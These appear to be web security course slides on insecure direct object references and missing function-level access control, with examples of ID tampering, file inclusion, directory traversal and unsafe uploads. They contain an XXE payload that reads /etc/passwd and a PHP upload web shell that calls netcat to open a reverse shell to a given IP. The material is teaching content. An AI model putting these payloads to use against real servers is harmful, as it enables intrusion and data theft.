A4: Insecure Direct Object References

A4 – Insecure Direct Object References

- General problem: Unrestricted Access
 - A4: Data not properly protected
 - A7: Functions not properly protected
- Examples
 - Presentation-layer access control (Security by Obscurity)
 - Hide 'unauthorized' objects from users and assume they won't access them (wfuzz lab)
 - Hiding object references in hidden fields and assuming user won't look
 - Does not work
 - Must enforce these restrictions on the server side

Example: Coarse-grained authorization

- Must enforce access controls over *all* URLs
- Deny improper file accesses to unauthorized users
- Example
 - Protecting only the initial login landing page, but not subpages
 - Allows logged out users to access content via subpage URL
 - Not protecting access between users
 - Allowing user with userid=1 and profile <u>http://vulnerable/authorization/example1/infos/1</u>
 - to access another user's profile <u>http://vulnerable/authorization/example1/infos/3</u>

Example

https://onlineeast1.bankofamerica.com/acct.jsp?id=6065

	Online Ba	nking Acco	ount Summary Checking - Microsoft Inte	rnet Explorer	
ile <u>E</u> dit <u>V</u> iew F <u>a</u> v	vorites <u>T</u> ools <u>H</u>	<u>-l</u> elp			
🕽 Back 🔹 🕥 🐇 🛛	🖹 🛃 🏠 🔎	Search ☆ Fav	orites 🕢 🔗 🗸 🌺 📧 🗉 📴 🐢		
dress https://onli	ineeast1.bankofa	merica.com/aco	ct.isp?id=6066		
	100				
		Income and Spe	nding Top Ten History and Averages C	ategories	
				2 0 0 0	1
Welcome Teodora	Sign Off	. C	4		
Mihat	000 000	Income and	Expenses from Sep 26, 2004 to Jan 16, 2005		Checking-6534
Cash	Maximizer	Total Cor			8
accou	int do	Recurring Cos	ts	310,1/4.49	
for you	u?	Yariable Cos	ts \$7.014.04		
		Fixed Cos	ts \$9.297.48		
		Total Deposi	ts		23 253 31
•	Nextup				Sound Western
			\$0 \$2,000 \$4,000 \$6,000 \$8,000 \$10,000 \$12,000	\$14,000 \$16,000 \$18,000 \$20,000	\$22,000 \$24,00
our Accounts			LA.		
hecking-6534	30	Date	Description	Category	Amount
hecking-6534 urrent Balance	» \$3577.98	Date Nov 22, 2004	Description Interest Payment	Category Interest	Amount \$.25
hecking-6534 urrent Balance vallable Balance	» \$3577.98 \$3568.99	Date Nov 22, 2004 Nov 22, 2004	Description Interest Payment ATM Withdrawal, myBank, San Rafael, CA	Category Interest Cash	Amount \$.25 \$100.00
hecking-6534 urrent Balance vailable Balance hecking-6515	» \$3577.98 \$3568.99 »	Date Nov 22, 2004 Nov 22, 2004 Nov 19, 2004	Description Interest Payment ATM Withdrawal, myBank, San Rafael, CA ATM Withdrawal, myBank, San Francisco, CA	Category Interest Cash Cash	Amount \$.25 \$100.00 \$100.00
hecking-6534 urrent Balance vallable Balance hecking-6515 urrent Balance vallable Balance	» \$3577.98 \$3568.99 » \$2,518.08 \$2200.00	Date Nov 22, 2004 Nov 22, 2004 Nov 19, 2004 Nov 16, 2004	Description Interest Payment ATM Withdrawal, myBank, San Rafael, CA ATM Withdrawal, myBank, San Francisco, CA SBC Phone Bill Payment	Category Interest Cash Cash (7) Phone	Amount \$.25 \$100.00 \$100.00 \$94.23
vallable Balance vallable Balance vecking-6515 urrent Balance vailable Balance	» \$3577.98 \$3568.99 » \$2,518.08 \$2200.00	Date Nov 22, 2004 Nov 22, 2004 Nov 19, 2004 Nov 16, 2004 Nov 16, 2004	Description Interest Payment ATM Withdrawal, myBank, San Rafael, CA ATM Withdrawal, myBank, San Francisco, CA SBC Phone Bill Payment myBank Credit Card Bill Payment	Category Interest Cash Cash (3) Phone Credit Card	Amount \$.25 \$100.00 \$100.00 \$94.23 \$2,853.57
ecking-6534 urrent Balance vallable Balance ecking-6515 urrent Balance vailable Balance aansfer Funds	38 \$3577.98 \$3568.99 \$ \$2518.08 \$2200.00 \$	Date Nov 22, 2004 Nov 22, 2004 Nov 19, 2004 Nov 16, 2004 Nov 16, 2004 Nov 15, 2004	Description Interest Payment ATM Withdrawal, myBank, San Rafael, CA ATM Withdrawal, myBank, San Francisco, CA SBC Phone Bill Payment myBank Credit Card Bill Payment ATM Withdrawal, myBank, San Rafael, CA	Category Interest Cash Cash Cash Credit Card Cash	Amount \$.25 \$100.00 \$100.00 \$94.23 \$2,853.57 \$100.00
ecking-6534 urrent Balance vallable Balance ecking-6515 urrent Balance vailable Balance ansfer Funds	36 \$3577.98 \$3568.99 \$2,518.08 \$2200.00 \$ * *	Date Nov 22, 2004 Nov 22, 2004 Nov 19, 2004 Nov 16, 2004 Nov 16, 2004 Nov 15, 2004 Nov 15, 2004	Description Interest Payment ATM Withdrawal, myBank, San Rafael, CA ATM Withdrawal, myBank, San Francisco, CA SBC Phone Bill Payment myBank Credit Card Bill Payment ATM Withdrawal, myBank, San Rafael, CA myBank Payroll	Category Interest Cash Cash Coah Credit Card Cash Payroll	Amount \$.25 \$100.00 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79
hecking-6534 urrent Balance vallable Balance hecking-6515 urrent Balance vailable Balance ransfer Funds	99 \$3577.98 \$3568.99 \$2,518.08 \$2200.00 \$3 \$200.00 \$200.00 \$3 \$200.00 \$3 \$200.00 \$3 \$200.00 \$3 \$200.00 \$3 \$3 \$3 \$200.00 \$3 \$3 \$3 \$3 \$3 \$3 \$3 \$3 \$3 \$3 \$3 \$3 \$3	Date Nov 22, 2004 Nov 22, 2004 Nov 19, 2004 Nov 16, 2004 Nov 15, 2004 Nov 15, 2004 Nov 15, 2004 Nov 10, 2004	Description Interest Payment ATM Withdrawal, myBank, San Rafael, CA ATM Withdrawal, myBank, San Francisco, CA SBC Phone Bill Payment myBank Credit Card Bill Payment ATM Withdrawal, myBank, San Rafael, CA myBank Payroll ATM Withdrawal, myBank, San Francisco, CA	Category Interest Cash Cash Credit Card Cash Cash Payroll Cash	Amount \$.25 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79 \$100.00
hecking-6534 urrent Balance vallable Balance hecking-6515 urrent Balance vailable Balance ransfer Funds Ope	99 \$3577.98 \$3568.99 9 \$2,518.08 \$2200.00 \$3 \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$	Date Nov 22, 2004 Nov 22, 2004 Nov 19, 2004 Nov 16, 2004 Nov 15, 2004 Nov 15, 2004 Nov 15, 2004 Nov 10, 2004 Nov 10, 2004	Description Interest Payment ATM Withdraval, myBank, San Rafael, CA ATM Withdraval, myBank, San Francisco, CA SBC Phone Bill Payment myBank Credit Card Bill Payment ATM Withdraval, myBank, San Rafael, CA myBank Payroll ATM Withdraval, myBank, San Francisco, CA ATM Withdraval, myBank, San Francisco, CA	Category Interest Cash Cash Credit Card Cash Cash Payroll Cash Cash Cash	Amount \$.25 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79 \$100.00 \$4,373.79
hecking-6534 urrent Balance vallable Balance urrent Balance vallable Balance ransfer Funds Ope sur Bills	39 \$3577.98 \$3568.99 39 \$2,518.08 \$2200.00 39 n New Account	Date Nov 22, 2004 Nov 12, 2004 Nov 19, 2004 Nov 16, 2004 Nov 15, 2004 Nov 15, 2004 Nov 10, 2004 Nov 10, 2004 Nov 2, 2004 Nov 3, 2004	Description Interest Payment ATM Withdraval, myBank, San Rafael, CA ATM Withdraval, myBank, San Francisco, CA SBC Phone Bill Payment myBank Credit Card Bill Payment ATM Withdraval, myBank, San Rafael, CA myBank Payroll ATM Withdraval, myBank, San Francisco, CA ATM Withdraval, myBank, San Francisco, CA myBank Credit Card Bill Payment	Category Interest Cash Cash Credit Card Cash Cash Cash Cash Cash Cash Cash	Amount \$.25 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79 \$100.00 \$100.00 \$100.00
hecking-6534 urrent Balance vallable Balance hecking-6515 urrent Balance vallable Balance ransfer Funds Ope pur Bills 9999.99 due in next	39 \$3577.98 \$3568.99 39 \$2,518.08 \$2200.00 39 a New Account 1 day	Date Nov 22, 2004 Nov 12, 2004 Nov 19, 2004 Nov 16, 2004 Nov 15, 2004 Nov 15, 2004 Nov 10, 2004 Nov 10, 2004 Nov 3, 2004 Nov 3, 2004 Nov 3, 2004 Nov 3, 2004	Description Interest Payment ATM Withdraval, myBank, San Rafael, CA ATM Withdraval, myBank, San Francisco, CA SBC Phone Bill Payment myBank Credit Card Bill Payment ATM Withdraval, myBank, San Rafael, CA myBank Payroll ATM Withdraval, myBank, San Francisco, CA ATM Withdraval, myBank, San Francisco, CA WyBank Credit Card Bill Payment Working Assets Bill Payment	Category Interest Cash Cash Credit Card Cash Cash Cash Cash Cash Credit Card	Amount \$.25 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79 \$100.00 \$100.00 \$100.00 \$13.57
hecking-6534 urrent Balance vallable Balance hecking-6515 urrent Balance vallable Balance ransfer Funds Ope nur Bills 9999.99 due in next: ay Bills)0 \$3577,98 \$3568,99)0 \$2,518.08 \$2200.00 30 I day (* 1 day *	Date Nov 22, 2004 Nov 22, 2004 Nov 19, 2004 Nov 16, 2004 Nov 16, 2004 Nov 15, 2004 Nov 15, 2004 Nov 4, 2004 Nov 3, 2004 Nov 1, 2004	Description Interest Payment ATM Withdraval, myBank, San Rafael, CA ATM Withdraval, myBank, San Francisco, CA SBC Phone Bill Payment myBank Credit Card Bill Payment ATM Withdraval, myBank, San Francisco, CA ATM Withdraval, myBank, San Francisco, CA ATM Withdraval, myBank, San Francisco, CA myBank Credit Card Bill Payment Working Assets Bill Payment Prudential Insurance Bill Payment	Category Interest Cash Cash Cash Credit Card Cash C	Amount \$.25 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79 \$100.00 \$100.00 \$100.00 \$13.57 \$435.00
hecking-6534 wrrent Balance wailable Balance wailable Balance wailable Balance ransfer Funds Ope our Bills 9999.39 due in next: ag Bills)0 \$3577,98 \$3568,99)0 \$2,518,08 \$2200,00 30 n New Account 1 day (*) 30 30 30 30 30 30 30 30 30 30	Date Nov 22, 2004 Nov 22, 2004 Nov 19, 2004 Nov 16, 2004 Nov 16, 2004 Nov 15, 2004 Nov 15, 2004 Nov 4, 2004 Nov 3, 2004 Nov 1, 2004 Nov 1, 2004	Description Interest Payment ATM Withdraval, myBank, San Rafael, CA ATM Withdraval, myBank, San Francisco, CA SBC Phone Bill Payment myBank Credit Card Bill Payment ATM Withdraval, myBank, San Francisco, CA ATM Withdraval, myBank, San Francisco, CA ATM Withdraval, myBank, San Francisco, CA myBank Credit Card Bill Payment Working Assets Bill Payment Prudential Insurance Bill Payment Chase Manhatan Mortgage Corp Bill Payment	Category Interest Cash Cash Image: Cash Credit Card Cash Cash	Amount \$.25 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79 \$100.00 \$100.00 \$100.00 \$13.57 \$435.00 \$2,184.42
hecking-6534 urrent Balance wailable Balance becking-6515 turrent Balance ivailable Balance ransfer Funds Ope our Bills 9999.99 due in next: ray Bills uutomer Service P)) \$3577,98 \$3568,99)) \$2,518,08 \$2200,00)) n New Account 1 day (*))) http://www.account 1 day (*)))	Date Nov 22, 2004 Nov 22, 2004 Nov 19, 2004 Nov 16, 2004 Nov 15, 2004 Nov 15, 2004 Nov 3, 2004 Nov 3, 2004 Nov 1, 2004 Nov 1, 2004 Nov 2, 2004 Nov 1, 2004	Description Interest Payment ATM Withdrawal, myBank, San Rafael, CA ATM Withdrawal, myBank, San Francisco, CA SBC Phone Bill Payment myBank Credit Card Bill Payment ATM Withdrawal, myBank, San Francisco, CA ATM Withdrawal, myBank, San Francisco, CA MyBank Credit Card Bill Payment Working Assets Bill Payment Prudential Insurance Bill Payment Chase Manhattan Mortgage Corp Bill Payment ATM Withdrawal, myBank, San Francisco, CA	Category Interest Cash Cash Cash Credit Card Cash	Amount \$.25 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79 \$100.00 \$100.00 \$100.00 \$13.57 \$435.00 \$2,184.42 \$100.00
hecking-6534 Current Balance Wallable Ba)) \$3577,98 \$3568,99)) \$2,518,08 \$2200,00)) a New Account 1.day (*))) rivacy & Security	Date Nov 22, 2004 Nov 22, 2004 Nov 19, 2004 Nov 16, 2004 Nov 15, 2004 Nov 15, 2004 Nov 4, 2004 Nov 3, 2004 Nov 1, 2004 Nov 2, 2004	Description Interest Payment ATM Withdrawal, myBank, San Rafael, CA ATM Withdrawal, myBank, San Francisco, CA SBC Phone Bill Payment myBank Credit Card Bill Payment ATM Withdrawal, myBank, San Francisco, CA ATM Withdrawal, myBank, San Francisco, CA MyBank Credit Card Bill Payment Working Assets Bill Payment Prudential Insurance Bill Payment Chase Manhattan Mortgage Corp Bill Payment ATM Withdrawal, myBank, San Francisco, CA myBank TaventI	Category Interest Cash Cash Cash Credit Card Cash Cash Cash Cash Credit Card Cash Cash Credit Card Cash Credit Card Cash Cash Cash Cash Cash Cash Cash Cash	Amount \$.25 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79 \$100.00 \$100.00 \$100.00 \$13.57 \$435.00 \$2,184.42 \$100.00 \$4,338.96

• Attacker notices acct parameter is 6065

?acct=6065

 Modifies it to a nearby number

?acct=6066

 Attacker views the victim's account information

Example: File include

- Filename inclusion containing input the adversary controls
 - Can be used to read arbitrary files
 - Can be used to include arbitrary code
- Local File Include (LFI)
 - Force page to include a local server file
 - Vulnerable PHP code (include(\$_GET["file"]))
 - Allowing uploaded XML to include files <!DOCTYPE mydoc [<!ENTITY x SYSTEM "file:///etc/passwd">]><test>&x;</test>
- Remote File Include (RFI)
 - Similar to above, but force page to include content from an external site
 - In XML above, can also use 'ftp://' and 'https://'
 - In PHP, can use include above to inject external URL unless functionality is disabled in php.ini (allow_url_include)
 - Intentional behavior with JavaScript (<script src=<u>http://code.jquery.com/jquery-1.11.3.min.js</u>>)
 - Must use other controls to limit behavior (more later on Content-Security-Policy)

Example: Directory traversal

- Inferring names of critical files, then accessing them using directory commands
- Example of vulnerable application
 - If you have an image path: /images/photo.jpg

/images/./photo.jpg gets the same file

/images/../photo.jpg gets an error

/images/../images/photo.jpg gets the same file

Retrieving sensitive files

Example: Directory Traversal

Code example

- \$file = "/var/files/example_" . \$_GET['id'] . ".txt";
- Takes in field from URL (e.g. php?id=<file>) and retrieves file in filesystem
- Can be subverted to access files directly

A7: Missing Function Level Access Control

A7 – Missing Function Level Access Control

- Access to functions not properly protected
- Similar to A4, but with functions
 - Now merged with A4 in 2017 OWASP Top 10
 - Presentation-layer access control (Security through obscurity)
 - Hide protected functions by omitting it from web pages
 - Displaying only authorized links and menu choices assuming user will not access those not displayed
 - Attacker forges direct access to 'unauthorized' functions
 - Failing to protect behavior of functions
 - Failing to validate file types of uploads
 - Failing to limit size of uploads

Must enforce these restrictions on the server side

Example: Abusing REST APIs

- Not protecting access between users
 - Allows any user access to profile
 - http://vulnerable/authorization/user1/profile/view
 - Should only be accessible to user1. Is it?

http://vulnerable/authorization/user1/profile/delete

Example

	anking Account Summary Checking - Microsoft Inte	rnet Explorer	
Eile Edit ⊻iew Favorites Tools	Help		
🌀 Back 🝷 🔘 🕤 📓 🙆 🌽	🛛 Search 🤺 Favorites 🕢 🎯 🕶 🍓 📧 🕤 🛄 🚳		
https://www	N.onlinebank.com/user/ge	et Accounts	
Welcome Teodora 🔒 Sign Off	۵	? 🗅 🗁 Search	٩
What can our	Income and Expenses from Sep 26, 2004 to Jan 16, 2005		Checking-6534
Cash Maximizer	Total Costs	A 10 17 1 10	
account do	Recurring Costs	\$10.174.49	
for you?	Variable Costs \$7,014.04		
	Fixed Costs \$8 207 58		
	Total Deposits		\$23 253 31
• Next tip	formation from the formation of the second states o	and a second	ana anti-a se a tradeción de la
	\$0 \$2,000 \$4,000 \$8,000 \$8,000 \$10,000 \$12,000	\$14,000 \$16,000 \$18,000 \$20,00	0 \$22,000 \$24,000
our Accounts			
our Accounts hecking-6534 30	Date Description	Category	Amount
our Accounts hecking-6534 30 Durrent Balance \$3577.98	Date Description Nov 22, 2004 Interest Payment	Category	Amount \$.25 •
our Accounts hecking-6594 30 Jurrent Balance \$3577.98 wailable Balance \$3568.99	Date Description Nov 22, 2004 Interest Payment Nov 22, 2004 ATM Withdrawal, myBank, San Rafael, CA	Category Interest Cash	Amount \$.25 \$100.00
eur Accounts hecking-6534 30 urrent Balance \$3577.98 vailable Balance \$3568.99 hecking-6515 30	Date Description Nov 22, 2004 Interest Payment Nov 22, 2004 ATM Withdrawal, myBank, San Rafael, CA Nov 19, 2004 ATM Withdrawal, myBank, San Francisco, CA	Category Interest Cash Cash	Amount \$.25 • \$100.00 \$100.00 =
verking-6534 30 vurrent Balance \$3577.98 vallable Balance \$3568.99 verking-6515 30 uurrent Balance \$2,518.08	Date Description Nov 22, 2004 Interest Payment Nov 22, 2004 ATM Withdrawal, myBank, San Rafael, CA Nov 19, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 16, 2004 SBC Phone Bill Payment	Category Interest Cash Cash (3) Phone	Amount \$.25 \$100.00 \$100.00 \$94.23
becking-6534 20 urrent Balance \$3577.98 vailable Balance \$3568.99 becking-6515 30 urrent Balance \$2,518.08 vailable Balance \$2,200.00	Date Description Nov 22, 2004 Interest Payment Nov 22, 2004 ATM Withdrawal, myBank, San Rafael, CA Nov 19, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 16, 2004 SBC Phone Bill Payment Nov 16, 2004 myBank, Credit Card Bill Payment	Category Interest Cash Cash (3) Phone Credit Card	Amount \$.25 \$100.00 \$100.00 \$94.23 \$2,953.57
verking-6534 20 verking-6534 20 verkt Balance \$3577.98 vallable Balance \$3568.99 verking-6515 20 verking-6515 20 vallable Balance \$2,2518.08 vallable Balance \$2200.00 ansfer Funds 20	Date Description Nov 22, 2004 Interest Payment Nov 22, 2004 ATM Withdrawal, myBank, San Rafael, CA Nov 19, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 16, 2004 SBC Phone Bill Payment Nov 16, 2004 myBank Credit Card Bill Payment Nov 15, 2004 ATM Withdrawal, myBank, San Rafael, CA	Category Interest Cash Cash (3) Phone Credit Card Cash	Amount \$.25 \$100.00 \$100.00 \$94.23 \$2,853.57 \$100.00
verking-6534 20 verking-6534 20 verkt Balance \$3577.98 vallable Balance \$3568.99 verking-6515 20 verking-6515 20 vallable Balance \$2,518.08 vallable Balance \$2200.00 ansfer Funds 20	Date Description Nov 22, 2004 Interest Payment Nov 22, 2004 ATM Withdrawal, myBank, San Rafael, CA Nov 19, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 16, 2004 SBC Phone Bill Payment Nov 16, 2004 myBank Credit Card Bill Payment Nov 15, 2004 ATM Withdrawal, myBank, San Rafael, CA Nov 15, 2004 MyBank Credit Card Bill Payment Nov 15, 2004 MyBank Payroll	Category Interest Cash Cash Interest Cash Credit Card Cash Payroll	Amount \$.25 • \$100.00 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79
ver Accounts tecking-6534 20 urrent Balance \$3577.98 vailable Balance \$3568.99 verking-6515 20 urrent Balance \$2,518.08 vailable Balance \$2,200.00 ansfer Funds 20 Open New Account	Date Description Nov 22, 2004 Interest Payment Nov 22, 2004 ATM Withdrawal, myBank, San Rafael, CA Nov 19, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 16, 2004 SBC Phone Bill Payment Nov 16, 2004 myBank Credit Card Bill Payment Nov 15, 2004 ATM Withdrawal, myBank, San Rafael, CA Nov 15, 2004 myBank Payroll Nov 15, 2004 ATM Withdrawal, myBank, San Francisco, CA	Category Interest Cash Cash Interest Cash Credit Card Cash Payroll Cash	Amount \$.25 • \$100.00 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79 \$100.00
ver Accounts verking-6534 20 variable Balance \$3577.98 variable Balance \$3568.99 verking-6515 20 urrent Balance \$2,518.08 valiable Balance \$2,200.00 ansfer Funds 20 Open New Account	Date Description Nov 22, 2004 Interest Payment Nov 22, 2004 ATM Withdrawal, myBank, San Rafael, CA Nov 19, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 16, 2004 SBC Phone Bill Payment Nov 16, 2004 myBank Credit Card Bill Payment Nov 15, 2004 ATM Withdrawal, myBank, San Rafael, CA Nov 15, 2004 myBank Payroll Nov 10, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 10, 2004 ATM Withdrawal, myBank, San Francisco, CA	Category Interest Cash Cash GID Phone Credit Card Cash Payroll Cash Cash	Amount \$.25 = \$100.00 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79 \$100.00 \$100.00
ver Accounts ver Accounts ver Balance variable Balance va	Date Description Nov 22, 2004 Interest Payment Nov 22, 2004 ATM Withdrawal, myBank, San Rafael, CA Nov 19, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 16, 2004 SBC Phone Bill Payment Nov 16, 2004 myBank Credit Card Bill Payment Nov 15, 2004 MWithdrawal, myBank, San Rafael, CA Nov 15, 2004 myBank Payroll Nov 10, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 4, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 4, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 4, 2004 ATM Withdrawal, myBank, San Francisco, CA	Category Interest Cash Cash GIP Phone Credit Card Cash Cash Cash Cash Cash Cash	Amount \$.25 • \$100.00 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79 \$100.00 \$100.00 \$100.00 \$100.00
ver Accounts ver Accounts ver Balance valiable Balance va	Date Description Nov 22, 2004 Interest Payment Nov 22, 2004 ATM Withdrawal, myBank, San Rafael, CA Nov 19, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 16, 2004 SBC Phone Bill Payment Nov 16, 2004 MW Withdrawal, myBank, San Francisco, CA Nov 16, 2004 myBank Credit Card Bill Payment Nov 15, 2004 myBank Payroll Nov 10, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 4, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 3, 2004 MW Withdrawal, myBank, San Francisco, CA Nov 3, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 3, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 3, 2004 ATM Withdrawal, myBank, San Francisco, CA	Category Interest Cash Cash Tredit Card Cash Cash Cash Cash Cash Credit Card	Amount \$.25 = \$100.00 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79 \$100.00 \$1
ver Accounts tecking-6534 20 variable Balance \$3577.98 valiable Balance \$3568.99 vecking-6515 20 urrent Balance \$2,518.08 valiable Balance \$2,00.00 ansfer Funds 20 Open New Account ver Bills 9999.99 due in next: 1 day v	Date Description Nov 22, 2004 Interest Payment Nov 22, 2004 ATM Withdrawal, myBank, San Rafael, CA Nov 19, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 16, 2004 SBC Phone Bill Payment Nov 16, 2004 MW Withdrawal, myBank, San Francisco, CA Nov 16, 2004 myBank Credit Card Bill Payment Nov 15, 2004 myBank Payroll Nov 10, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 4, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 3, 2004 myBank Credit Card Bill Payment Nov 1, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 1, 2004 MyBank Credit Card Bill Payment Nov 1, 2004 Working Assets Bill Payment Nov 1, 2004 Diventional Insurance Bill Payment	Category Interest Cash Cash Toredit Card Cash Cash Cash Cash Cash Cash Cash Cash	Amount \$.25 = \$100.00 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79 \$100.00 \$100.00 \$100.00 \$100.00 \$13.57 \$435.00
ver Accounts ver Accounts ver Balance valiable Balance va	Date Description Nov 22, 2004 Interest Payment Nov 22, 2004 ATM Withdrawal, myBank, San Rafael, CA Nov 19, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 16, 2004 SBC Phone Bill Payment Nov 16, 2004 MW Withdrawal, myBank, San Francisco, CA Nov 16, 2004 myBank Credit Card Bill Payment Nov 15, 2004 myBank Payroll Nov 10, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 4, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 3, 2004 myBank Credit Card Bill Payment Nov 1, 2004 Working Assets Bill Payment Nov 1, 2004 Working Assets Bill Payment Nov 1, 2004 Charden Mubatran Morance Bill Payment Nov 1, 2004 Charden Mubatran Musene, Core Bill Payment	Category Interest Cash Cash Toredit Card Cash Cash Cash Cash Cash Credit Card Cash Credit Card (1) Phone (1) Insurance	Amount \$.25 = \$100.00 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79 \$100.00 \$100.00 \$100.00 \$100.00 \$13.57 \$435.00 \$2,354.20
aur Accounts hecking-6534 20 urrent Balance \$3577.98 vailable Balance \$3568.99 hecking-6515 39 urrent Balance \$2,518.08 vailable Balance \$2200.00 ransfer Funds 39 Open New Account our Bills 99999.99 due in next: 1 day v ay Bills 39 uttomer Saruice Privacy & Saruitho	Date Description Nov 22, 2004 Interest Payment Nov 22, 2004 ATM Withdraval, myBank, San Rafael, CA Nov 19, 2004 ATM Withdraval, myBank, San Francisco, CA Nov 16, 2004 SBC Phone Bill Payment Nov 16, 2004 MW Withdraval, myBank, San Francisco, CA Nov 16, 2004 myBank Credit Card Bill Payment Nov 15, 2004 myBank Payroll Nov 10, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 4, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 3, 2004 myBank Credit Card Bill Payment Nov 1, 2004 Working Assets Bill Payment Nov 1, 2004 Prudential Insurance Bill Payment Nov 1, 2004 Prudential Insurance Bill Payment Nov 1, 2004 Ath Mothdrawal, Moth Case Cardisco, CA	Category Interest Cash Cash Cash Credit Card Cash Cash Cash Cash Credit Card Cash Credit Card Cash Credit Card Cash Credit Card Cash Credit Card Cash Credit Card Cash Cash Cash Cash Cash Cash Cash Cash	Amount \$.25 • \$100.00 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79 \$100.00 \$100.00 \$100.00 \$100.00 \$13.57 \$435.00 \$2,184.42 \$100.00
eur Accounts hecking-6534 20 vurent Balance \$357.98 wallable Balance \$3568.99 hecking-6515 20 urrent Balance \$2,518.08 vailable Balance \$2200.00 ransfer Funds 20 0pen New Account 0ur Bills 9999.99 due in next: 1 day v ay Bills 20 ustomer Service Privacy & Security	Date Description Nov 22, 2004 Interest Payment Nov 22, 2004 ATM Withdrawal, myBank, San Rafael, CA Nov 19, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 16, 2004 SBC Phone Bill Payment Nov 16, 2004 MW Withdrawal, myBank, San Francisco, CA Nov 16, 2004 myBank Credit Card Bill Payment Nov 15, 2004 MW Withdrawal, myBank, San Francisco, CA Nov 10, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 4, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 3, 2004 myBank Credit Card Bill Payment Nov 1, 2004 Working Assets Bill Payment Nov 1, 2004 Prudential Insurance Bill Payment Nov 1, 2004 Chase Manhattan Mortgage Corp Bill Payment Nov 2, 2004 ATM Withdrawal, myBank, San Francisco, CA	Category Interest Cash Cash Cash Credit Card Cash Cash Cash Cash Credit Card Cash Credit Card Cash Credit Card Cash Credit Card Cash Cash Cash Cash Cash Cash Cash Cash	Amount \$.25 \$100.00 \$100.00 \$44.23 \$2,83.57 \$100.00 \$4,373.79 \$100.00 \$100.00 \$100.00 \$13.57 \$435.00 \$2,184.42 \$100.00
eur Accounts hecking-6534 20 Ourrent Balance \$3577.98 Vavilable Balance \$3568.99 hecking-6515 20 Ourrent Balance \$2200.00 ransfer Funds 20 Open New Account Our Bills 9999.99 due in next: 1 day ay Bills 20 ustomer Service Privacy & Security	Date Description Nov 22, 2004 Interest Payment Nov 22, 2004 ATM Withdraval, myBank, San Rafael, CA Nov 19, 2004 ATM Withdraval, myBank, San Francisco, CA Nov 16, 2004 SBC Phone Bill Payment Nov 16, 2004 MSBC Phone Bill Payment Nov 16, 2004 MyBank Credit Card Bill Payment Nov 15, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 15, 2004 MyBank Payroll Nov 10, 2004 ATM Withdrawal, myBank, San Francisco, CA Nov 3, 2004 MyBank Credit Card Bill Payment Nov 1, 2004 Working Assets Bill Payment Nov 1, 2004 Prudential Insurance Bill Payment Nov 1, 2004 Chase Manhattan Mortgage Corp Bill Payment Nov 1, 2004 Chase Manhattan Mortgage Corp Bill Payment Not 2, 2004 ATM Withdraval, myBank, San Francisco, CA Nov 1, 2004 Chase Manhattan Mortgage Corp Bill Payment Not 2, 2004 ATM Withdraval, myBank, San Francisco, CA Oct 29, 2004 MyBank Payroll	Category Interest Cash Cash Tredit Card Cash Cash Cash Cash Credit Card Cash Credit Card Cash Credit Card Cash Credit Card Cash Cash Cash Cash Cash Cash Cash Cash	Amount \$.25 \$100.00 \$100.00 \$94.23 \$2,853.57 \$100.00 \$4,373.79 \$100.00 \$100.00 \$100.00 \$13.57 \$435.00 \$2,184.42 \$100.00 \$2,184.42

- Attacker with account name user notices the URL indicates his role
 /user/getAccounts
- Modifies it to another role /admin/getAccounts, or /manager/getAccounts
- Attacker views accounts of others

Example: Insecure File Upload

- Improperly restricted file upload
 - Upload huge files to cause denial of service
 - Upload malicious .exe into web tree.
 - Upload .html file containing XSS attack
- Must ensure uploaded content is not dangerous
 - Check for improper file types, file names/paths, file content
 - Disallow executable files and improper filenames
- Example
 - PHP site doesn't prevent uploads ending with ".php"
 - Upload rogue PHP file

```
<?php system('echo hello world'); ?>
```

- Or worse...PHP web shell
 - Library of shells at <u>https://github.com/JohnTroony/php-webshells</u>
 - Example
 - On victim (assuming netcat-traditional)
 - <?php system('nc -e /bin/sh 131.252.220.66 8001'); ?>
 - Attacker at 131.252.220.66

```
<?php system('nc -1 8001'); ?>
```

A4/A7 – Prevention

Eliminate direct reference

- Replace them with temporary mapping value (e.g. 1, 2, 3)
